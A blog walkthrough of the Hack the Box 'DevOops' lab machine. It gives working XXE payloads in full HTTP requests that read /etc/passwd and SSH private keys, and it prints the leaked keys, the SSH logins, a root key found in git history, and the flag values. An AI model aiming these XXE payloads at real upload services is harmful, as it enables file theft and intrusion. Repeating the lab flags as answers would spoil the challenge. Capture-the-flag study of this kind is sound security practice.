Hack the Box DevOops Walkthrough – XXE FTW

While it was a bit ago, I also solved the Hack the Box DevOops box.

Hack the Box DevOops – Introduction

DevOops was my second HtB solve, after I finished Nibbles.

This was a fun box, and I always love playing with XXE.

I think that my 30-day access is over, but I may eventually reactivate if I have time.

Enumeration

First, I found that port 22 and 5000 were open on the server.

Nmap scan report for 10.10.10.91
Host is up (0.041s latency).
Not shown: 65533 closed ports
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.4 (Ubuntu Linux; protocol 2.0)
5000/tcp open  http    Gunicorn 19.7.1
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=7.80%E=4%D=12/19%OT=22%CT=1%CU=43691%PV=Y%DS=2%DC=I%G=Y%TM=5DFBD1
OS:6B%P=x86_64-apple-darwin18.6.0)SEQ(SP=107%GCD=1%ISR=10A%TI=Z%CI=I%II=I%T
OS:S=A)OPS(O1=M54DST11NW7%O2=M54DST11NW7%O3=M54DNNT11NW7%O4=M54DST11NW7%O5=
OS:M54DST11NW7%O6=M54DST11)WIN(W1=7120%W2=7120%W3=7120%W4=7120%W5=7120%W6=7
OS:120)ECN(R=Y%DF=Y%T=40%W=7210%O=M54DNNSNW7%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=O%A
OS:=S+%F=AS%RD=0%Q=)T2(R=N)T3(R=N)T4(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%
OS:Q=)T5(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S=
OS:A%A=Z%F=R%O=%RD=0%Q=)T7(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R=
OS:Y%DF=N%T=40%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%
OS:T=40%CD=S)

Since it seemed like a likely foothold, I looked at . This was an under-construction page that mentioned a feed.py file.

After scanning for more files or folders, I found the http://10.10.10.91:5000/upload directory.

This was a test API that took an XML file upload, which seemed promising.

Hack the Box DevOops – Exploitation

With an XML file upload, I figured that XXE Injection would be my initial foothold.

First, I tried to read /etc/passwd with a basic XML file.

POST /upload HTTP/1.1
Host: 10.10.10.91:5000
Content-Length: 414
Cache-Control: max-age=0
Origin: http://10.10.10.91:5000
Upgrade-Insecure-Requests: 1
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarymfAR6unm6rnoKPEA
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3910.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3
Referer: http://10.10.10.91:5000/upload
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close

------WebKitFormBoundarymfAR6unm6rnoKPEA
Content-Disposition: form-data; name="file"; filename="test.xml"
Content-Type: text/xml

<?xml version="1.0" encoding="ISO-8859-1"?>
  <!DOCTYPE foo [ <!ELEMENT foo ANY >
  <!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<test>
    <Author>Test</Author>
    <Subject>Test</Subject>
    <Content>Test</Content>
</test>

------WebKitFormBoundarymfAR6unm6rnoKPEA--

While this did not work, the system processed my post and gave me a bit of file system information.

HTTP/1.1 200 OK
Server: gunicorn/19.7.1
Date: Thu, 19 Dec 2019 20:25:26 GMT
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 150

 PROCESSED BLOGPOST: 
  Author: Test
 Subject: Test
 Content: Test
 URL for later reference: /uploads/test.xml
 File path: /home/roosa/deploy/src

After realizing that I needed somewhere to output the /etc/passwd, I changed my author field in the uploaded file.

POST /upload HTTP/1.1
Host: 10.10.10.91:5000
Content-Length: 415
Cache-Control: max-age=0
Origin: http://10.10.10.91:5000
Upgrade-Insecure-Requests: 1
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarymfAR6unm6rnoKPEA
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3910.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3
Referer: http://10.10.10.91:5000/upload
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close

------WebKitFormBoundarymfAR6unm6rnoKPEA
Content-Disposition: form-data; name="file"; filename="test.xml"
Content-Type: text/xml

<?xml version="1.0" encoding="ISO-8859-1"?>
  <!DOCTYPE foo [ <!ELEMENT foo ANY >
  <!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<test>
    <Author>&xxe;</Author>
    <Subject>Test</Subject>
    <Content>Test</Content>
</test>

------WebKitFormBoundarymfAR6unm6rnoKPEA--

When I uploaded this file, the server populated my author field with the results of the /etc/passwd file!

HTTP/1.1 200 OK
Server: gunicorn/19.7.1
Date: Thu, 19 Dec 2019 20:26:02 GMT
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 2585

 PROCESSED BLOGPOST: 
  Author: root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-timesync:x:100:102:systemd Time Synchronization,,,:/run/systemd:/bin/false
systemd-network:x:101:103:systemd Network Management,,,:/run/systemd/netif:/bin/false
systemd-resolve:x:102:104:systemd Resolver,,,:/run/systemd/resolve:/bin/false
systemd-bus-proxy:x:103:105:systemd Bus Proxy,,,:/run/systemd:/bin/false
syslog:x:104:108::/home/syslog:/bin/false
_apt:x:105:65534::/nonexistent:/bin/false
messagebus:x:106:110::/var/run/dbus:/bin/false
uuidd:x:107:111::/run/uuidd:/bin/false
lightdm:x:108:114:Light Display Manager:/var/lib/lightdm:/bin/false
whoopsie:x:109:117::/nonexistent:/bin/false
avahi-autoipd:x:110:119:Avahi autoip daemon,,,:/var/lib/avahi-autoipd:/bin/false
avahi:x:111:120:Avahi mDNS daemon,,,:/var/run/avahi-daemon:/bin/false
dnsmasq:x:112:65534:dnsmasq,,,:/var/lib/misc:/bin/false
colord:x:113:123:colord colour management daemon,,,:/var/lib/colord:/bin/false
speech-dispatcher:x:114:29:Speech Dispatcher,,,:/var/run/speech-dispatcher:/bin/false
hplip:x:115:7:HPLIP system user,,,:/var/run/hplip:/bin/false
kernoops:x:116:65534:Kernel Oops Tracking Daemon,,,:/:/bin/false
pulse:x:117:124:PulseAudio daemon,,,:/var/run/pulse:/bin/false
rtkit:x:118:126:RealtimeKit,,,:/proc:/bin/false
saned:x:119:127::/var/lib/saned:/bin/false
usbmux:x:120:46:usbmux daemon,,,:/var/lib/usbmux:/bin/false
osboxes:x:1000:1000:osboxes.org,,,:/home/osboxes:/bin/false
git:x:1001:1001:git,,,:/home/git:/bin/bash
roosa:x:1002:1002:,,,:/home/roosa:/bin/bash
sshd:x:121:65534::/var/run/sshd:/usr/sbin/nologin
blogfeed:x:1003:1003:,,,:/home/blogfeed:/bin/false

 Subject: Test
 Content: Test
 URL for later reference: /uploads/test.xml
 File path: /home/roosa/deploy/src

It took a while to figure out how to exploit this for system-level access. That said, I eventually settled on grabbing the ‘roosa’ user’s private key.

POST /upload HTTP/1.1
Host: 10.10.10.91:5000
Content-Length: 427
Cache-Control: max-age=0
Origin: http://10.10.10.91:5000
Upgrade-Insecure-Requests: 1
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarymfAR6unm6rnoKPEA
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3910.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3
Referer: http://10.10.10.91:5000/upload
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close

------WebKitFormBoundarymfAR6unm6rnoKPEA
Content-Disposition: form-data; name="file"; filename="test.xml"
Content-Type: text/xml

<?xml version="1.0" encoding="ISO-8859-1"?>
  <!DOCTYPE foo [ <!ELEMENT foo ANY >
  <!ENTITY xxe SYSTEM "file:///home/roosa/.ssh/id_rsa" >]>
<test>
    <Author>&xxe;</Author>
    <Subject>Test</Subject>
    <Content>Test</Content>
</test>

------WebKitFormBoundarymfAR6unm6rnoKPEA--

This ended up working, which was a good start.

HTTP/1.1 200 OK
Server: gunicorn/19.7.1
Date: Thu, 19 Dec 2019 20:29:07 GMT
Connection: close
Content-Type: text/html; charset=utf-8
Content-Length: 1821

 PROCESSED BLOGPOST: 
  Author: -----BEGIN RSA PRIVATE KEY-----
MIIEogIBAAKCAQEAuMMt4qh/ib86xJBLmzePl6/5ZRNJkUj/Xuv1+d6nccTffb/7
9sIXha2h4a4fp18F53jdx3PqEO7HAXlszAlBvGdg63i+LxWmu8p5BrTmEPl+cQ4J
R/R+exNggHuqsp8rrcHq96lbXtORy8SOliUjfspPsWfY7JbktKyaQK0JunR25jVk
v5YhGVeyaTNmSNPTlpZCVGVAp1RotWdc/0ex7qznq45wLb2tZFGE0xmYTeXgoaX4
9QIQQnoi6DP3+7ErQSd6QGTq5mCvszpnTUsmwFj5JRdhjGszt0zBGllsVn99O90K
m3pN8SN1yWCTal6FLUiuxXg99YSV0tEl0rfSUwIDAQABAoIBAB6rj69jZyB3lQrS
JSrT80sr1At6QykR5ApewwtCcatKEgtu1iWlHIB9TTUIUYrYFEPTZYVZcY50BKbz
ACNyme3rf0Q3W+K3BmF//80kNFi3Ac1EljfSlzhZBBjv7msOTxLd8OJBw8AfAMHB
lCXKbnT6onYBlhnYBokTadu4nbfMm0ddJo5y32NaskFTAdAG882WkK5V5iszsE/3
koarlmzP1M0KPyaVrID3vgAvuJo3P6ynOoXlmn/oncZZdtwmhEjC23XALItW+lh7
e7ZKcMoH4J2W8OsbRXVF9YLSZz/AgHFI5XWp7V0Fyh2hp7UMe4dY0e1WKQn0wRKe
8oa9wQkCgYEA2tpna+vm3yIwu4ee12x2GhU7lsw58dcXXfn3pGLW7vQr5XcSVoqJ
Lk6u5T6VpcQTBCuM9+voiWDX0FUWE97obj8TYwL2vu2wk3ZJn00U83YQ4p9+tno6
NipeFs5ggIBQDU1k1nrBY10TpuyDgZL+2vxpfz1SdaHgHFgZDWjaEtUCgYEA2B93
hNNeXCaXAeS6NJHAxeTKOhapqRoJbNHjZAhsmCRENk6UhXyYCGxX40g7i7T15vt0
ESzdXu+uAG0/s3VNEdU5VggLu3RzpD1ePt03eBvimsgnciWlw6xuZlG3UEQJW8sk
A3+XsGjUpXv9TMt8XBf3muESRBmeVQUnp7RiVIcCgYBo9BZm7hGg7l+af1aQjuYw
agBSuAwNy43cNpUpU3Ep1RT8DVdRA0z4VSmQrKvNfDN2a4BGIO86eqPkt/lHfD3R
KRSeBfzY4VotzatO5wNmIjfExqJY1lL2SOkoXL5wwZgiWPxD00jM4wUapxAF4r2v
vR7Gs1zJJuE4FpOlF6SFJQKBgHbHBHa5e9iFVOSzgiq2GA4qqYG3RtMq/hcSWzh0
8MnE1MBL+5BJY3ztnnfJEQC9GZAyjh2KXLd6XlTZtfK4+vxcBUDk9x206IFRQOSn
y351RNrwOc2gJzQdJieRrX+thL8wK8DIdON9GbFBLXrxMo2ilnBGVjWbJstvI9Yl
aw0tAoGAGkndihmC5PayKdR1PYhdlVIsfEaDIgemK3/XxvnaUUcuWi2RhX3AlowG
xgQt1LOdApYoosALYta1JPen+65V02Fy5NgtoijLzvmNSz+rpRHGK6E8u3ihmmaq
82W3d4vCUPkKnrgG8F7s3GL6cqWcbZBd0j9u88fUWfPxfRaQU3s=
-----END RSA PRIVATE KEY-----

 Subject: Test
 Content: Test
 URL for later reference: /uploads/test.xml
 File path: /home/roosa/deploy/src

When I tried to use this private key, it worked, and I had a shell on the box!

root@kali:~/HtB/DevOops# ssh -i roosa_rsa_10-10-10-91 [email protected]
Welcome to Ubuntu 16.04.4 LTS (GNU/Linux 4.13.0-37-generic i686)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

135 packages can be updated.
60 updates are security updates.

Last login: Thu Dec 19 15:32:22 2019 from 10.10.14.2
roosa@gitter:~$ id
uid=1002(roosa) gid=1002(roosa) groups=1002(roosa),4(adm),27(sudo)

Before moving on, I grabbed the user flag, and scored my points in HtB.

roosa@gitter:~$ cat user.txt 
c5808e1643e801d40f09ed87cdecc67b

Privilege Escalation

With a user-level shell, it was time to escalate to root.

First, I found a service.sh file that seemed interesting, but I realized that it was running as the ‘roosa’ user.

roosa@gitter:~$ diff service.sh service.sh\~
11,12c11,12
< SCRIPT="/home/roosa/run-blogfeed.sh"
< RUNAS=roosa
---
> SCRIPT="<COMMAND>"
> RUNAS=<USERNAME>
14,15c14,15
< PIDFILE=/var/run/blogfeed.pid
< LOGFILE=/var/log/blogfeed.log
---
> PIDFILE=/var/run/<NAME>.pid
> LOGFILE=/var/log/<NAME>.log
48a49,63
> uninstall() {
>   echo -n "Are you really sure you want to uninstall this service? That cannot be undone. [yes|No] "
>   local SURE
>   read SURE
>   if [ "$SURE" = "yes" ]; then
>     stop
>     rm -f "$PIDFILE"
>     echo "Notice: log file was not removed: $LOGFILE" >&2
>     update-rc.d -f $NAME remove
>     rm -fv "$0"
>   else
>     echo "Abort!"
>   fi
> }
> 
73a89,91
>   uninstall)
>     uninstall
>     ;;
79c97
<     echo "Usage: $0 {start|stop|status|restart}"
---
>     echo "Usage: $0 {start|stop|status|restart|uninstall}"

I also found an RSA private key in the ‘/home/roosa/work/blogfeed/resources/integration’ directory, but I wasn’t sure what to do with it.

roosa@gitter:~/work/blogfeed/resources/integration$ pwd
/home/roosa/work/blogfeed/resources/integration
roosa@gitter:~/work/blogfeed/resources/integration$ cat authcredentials.key 
-----BEGIN RSA PRIVATE KEY-----
MIIEpQIBAAKCAQEApc7idlMQHM4QDf2d8MFjIW40UickQx/cvxPZX0XunSLD8veN
ouroJLw0Qtfh+dS6y+rbHnj4+HySF1HCAWs53MYS7m67bCZh9Bj21+E4fz/uwDSE
23g18kmkjmzWQ2AjDeC0EyWH3k4iRnABruBHs8+fssjW5sSxze74d7Ez3uOI9zPE
sQ26ynmLutnd/MpyxFjCigP02McCBrNLaclcbEgBgEn9v+KBtUkfgMgt5CNLfV8s
ukQs4gdHPeSj7kDpgHkRyCt+YAqvs3XkrgMDh3qI9tCPfs8jHUvuRHyGdMnqzI16
ZBlx4UG0bdxtoE8DLjfoJuWGfCF/dTAFLHK3mwIDAQABAoIBADelrnV9vRudwN+h
LZ++l7GBlge4YUAx8lkipUKHauTL5S2nDZ8O7ahejb+dSpcZYTPM94tLmGt1C2bO
JqlpPjstMu9YtIhAfYF522ZqjRaP82YIekpaFujg9FxkhKiKHFms/2KppubiHDi9
oKL7XLUpSnSrWQyMGQx/Vl59V2ZHNsBxptZ+qQYavc7bGP3h4HoRurrPiVlmPwXM
xL8NWx4knCZEC+YId8cAqyJ2EC4RoAr7tQ3xb46jC24Gc/YFkI9b7WCKpFgiszhw
vFvkYQDuIvzsIyunqe3YR0v8TKEfWKtm8T9iyb2yXTa+b/U3I9We1P+0nbfjYX8x
6umhQuECgYEA0fvp8m2KKJkkigDCsaCpP5dWPijukHV+CLBldcmrvUxRTIa8o4e+
OWOMW1JPEtDTj7kDpikekvHBPACBd5fYnqYnxPv+6pfyh3H5SuLhu9PPA36MjRyE
4+tDgPvXsfQqAKLF3crG9yKVUqw2G8FFo7dqLp3cDxCs5sk6Gq/lAesCgYEAyiS0
937GI+GDtBZ4bjylz4L5IHO55WI7CYPKrgUeKqi8ovKLDsBEboBbqRWcHr182E94
SQMoKu++K1nbly2YS+mv4bOanSFdc6bT/SAHKdImo8buqM0IhrYTNvArN/Puv4VT
Nszh8L9BDEc/DOQQQzsKiwIHab/rKJHZeA6cBRECgYEAgLg6CwAXBxgJjAc3Uge4
eGDe3y/cPfWoEs9/AptjiaD03UJi9KPLegaKDZkBG/mjFqFFmV/vfAhyecOdmaAd
i/Mywc/vzgLjCyBUvxEhazBF4FB8/CuVUtnvAWxgJpgT/1vIi1M4cFpkys8CRDVP
6TIQBw+BzEJemwKTebSFX40CgYEAtZt61iwYWV4fFCln8yobka5KoeQ2rCWvgqHb
8rH4Yz0LlJ2xXwRPtrMtJmCazWdSBYiIOZhTexe+03W8ejrla7Y8ZNsWWnsCWYgV
RoGCzgjW3Cc6fX8PXO+xnZbyTSejZH+kvkQd7Uv2ZdCQjcVL8wrVMwQUouZgoCdA
qML/WvECgYEAyNoevgP+tJqDtrxGmLK2hwuoY11ZIgxHUj9YkikwuZQOmFk3EffI
T3Sd/6nWVzi1FO16KjhRGrqwb6BCDxeyxG508hHzikoWyMN0AA2st8a8YS6jiOog
bU34EzQLp7oRU/TKO6Mx5ibQxkZPIHfgA1+Qsu27yIwlprQ64+oeEr0=
-----END RSA PRIVATE KEY-----

When I finally looked at the git log, I noticed a reference to an accidental commit with a key.

roosa@gitter:~/work/blogfeed/.git$ git log
commit 7ff507d029021b0915235ff91e6a74ba33009c6d
Author: Roosa Hakkerson 
Date:   Mon Mar 26 06:13:55 2018 -0400

    Use Base64 for pickle feed loading

commit 26ae6c8668995b2f09bf9e2809c36b156207bfa8
Author: Roosa Hakkerson 
Date:   Tue Mar 20 15:37:00 2018 -0400

    Set PIN to make debugging faster as it will no longer change every time the application code is changed. Remember to remove before production use.

commit cec54d8cb6117fd7f164db142f0348a74d3e9a70
Author: Roosa Hakkerson 
Date:   Tue Mar 20 15:08:09 2018 -0400

    Debug support added to make development more agile.

commit ca3e768f2434511e75bd5137593895bd38e1b1c2
Author: Roosa Hakkerson 
Date:   Tue Mar 20 08:38:21 2018 -0400

    Blogfeed app, initial version.

commit dfebfdfd9146c98432d19e3f7d83cc5f3adbfe94
Author: Roosa Hakkerson 
Date:   Tue Mar 20 08:37:56 2018 -0400

    Gunicorn startup script

commit 33e87c312c08735a02fa9c796021a4a3023129ad
Author: Roosa Hakkerson 
Date:   Mon Mar 19 09:33:06 2018 -0400

    reverted accidental commit with proper key

commit d387abf63e05c9628a59195cec9311751bdb283f
Author: Roosa Hakkerson 
Date:   Mon Mar 19 09:32:03 2018 -0400

    add key for feed integration from tnerprise backend

commit 1422e5a04d1b52a44e6dc81023420347e257ee5f
Author: Roosa Hakkerson 
Date:   Mon Mar 19 09:24:30 2018 -0400

    Initial commit

Next, I looked at this specific commit, and found a reference to the previously found authcredentials.key file.

roosa@gitter:~/work/blogfeed/.git$ git show 33e87c312c08735a02fa9c796021a4a3023129ad
commit 33e87c312c08735a02fa9c796021a4a3023129ad
Author: Roosa Hakkerson 
Date:   Mon Mar 19 09:33:06 2018 -0400

    reverted accidental commit with proper key

diff --git a/resources/integration/authcredentials.key b/resources/integration/authcredentials.key
index 44c981f..f4bde49 100644
--- a/resources/integration/authcredentials.key
+++ b/resources/integration/authcredentials.key
@@ -1,28 +1,27 @@
 -----BEGIN RSA PRIVATE KEY-----
-MIIEogIBAAKCAQEArDvzJ0k7T856dw2pnIrStl0GwoU/WFI+OPQcpOVj9DdSIEde
-8PDgpt/tBpY7a/xt3sP5rD7JEuvnpWRLteqKZ8hlCvt+4oP7DqWXoo/hfaUUyU5i
-vr+5Ui0nD+YBKyYuiN+4CB8jSQvwOG+LlA3IGAzVf56J0WP9FILH/NwYW2iovTRK
-nz1y2vdO3ug94XX8y0bbMR9Mtpj292wNrxmUSQ5glioqrSrwFfevWt/rEgIVmrb+
-CCjeERnxMwaZNFP0SYoiC5HweyXD6ZLgFO4uOVuImILGJyyQJ8u5BI2mc/SHSE0c
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 -----END RSA PRIVATE KEY-----

After a few attempts, I realized that this was the private key for the root account on the box!

root@kali:~/HtB/DevOops# ssh -i rsa2_10-10-10-91 [email protected]
Welcome to Ubuntu 16.04.4 LTS (GNU/Linux 4.13.0-37-generic i686)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

135 packages can be updated.
60 updates are security updates.

Last login: Mon Mar 26 06:23:48 2018 from 192.168.57.1
root@gitter:~# id
uid=0(root) gid=0(root) groups=0(root)

With root access, I grabbed the root flag, and finished this machine on HtB.

root@gitter:~# cat root.txt 
d4fe1e7f7187407eebdd3209cb1ac7b3

Hack the Box DevOops – Conclusion

This was a fun challenge, and I love finding some XXE.

My HtB subscription ended after this, so I was only able to pop two boxes in the end.

If you have any recommendations, then I would love to reactivate my subscription and try out a few more boxes. Alternatively, let me know if you have other suggestions for research topics or blog posts.